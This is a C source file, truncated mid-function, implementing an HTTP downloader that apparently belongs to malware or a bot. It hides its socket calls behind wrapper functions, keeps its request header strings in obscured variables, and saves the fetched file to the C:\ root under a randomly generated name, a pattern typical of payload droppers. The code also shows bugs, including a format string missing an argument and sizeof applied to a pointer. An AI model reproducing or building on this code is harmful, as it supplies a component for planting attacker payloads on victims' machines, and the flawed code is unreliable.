#include "global.h" /* //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */ int dl_GetFile(SOCKET sock, char *destination) { FILE *f; char buff[2] = {0}; int i, len = 0; f = fopen(destination, "wb"); if (f == NULL) return -8; while ((i = my_rcv(sock, buff, 1, 0)) > 0) { fwrite(buff, 1, 1, f); buff[0] = 0; len += i; } fclose(f); return len; } int dl_ProcessHTTP(SOCKET sock, char *destination) { char buffer[1024]; int len = 0; while ((len += my_rcv(sock, buffer + len, 1, 0)) > 0) { if (strstr(buffer, "\r\n\r\n") != NULL) return dl_GetFile(sock, destination); else if (len == 1024) break; } return -7; } int dl_HTTP(char *host, char *file, char *destination) { char buffer[MAX_LINE]; unsigned int resv_host; struct sockaddr_in address; SOCKET sock; int fsize; _snprintf(buffer, sizeof(buffer) - 1, "%s /%s %s/1.1\r\n" "%s: %s\r\n" "%s: %s\r\n" "%s: 300\r\n" "%s: %s\r\n\r\n", get, file, http, hoe, host, ua, useragent, ka, cn, ka2); resv_host = Resolve_This_Host(host); if (resv_host == 0) return -4; address.sin_addr.s_addr = resv_host; address.sin_family = AF_INET; address.sin_port = my_ht(80); if ((sock = my_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return -5; if (my_cnct(sock, (struct sockaddr *)&address, sizeof(address)) == SOCKET_ERROR) return -6; my_snd(sock, buffer, strlen(buffer), 0); _snprintf(destination, sizeof(destination) - 1, "C:\\%s.%s", Create_Random_Letter(6)); fsize = dl_ProcessHTTP(sock, destination); my_clsc(sock); return fsize; } int dl_Main(char *url, char *destination) { char host[128], file[128], *pch; // check if its http or ftp protocol // ftp not supported yet! pch = strtok(url, "/"); if (strcmp(pch, "http:"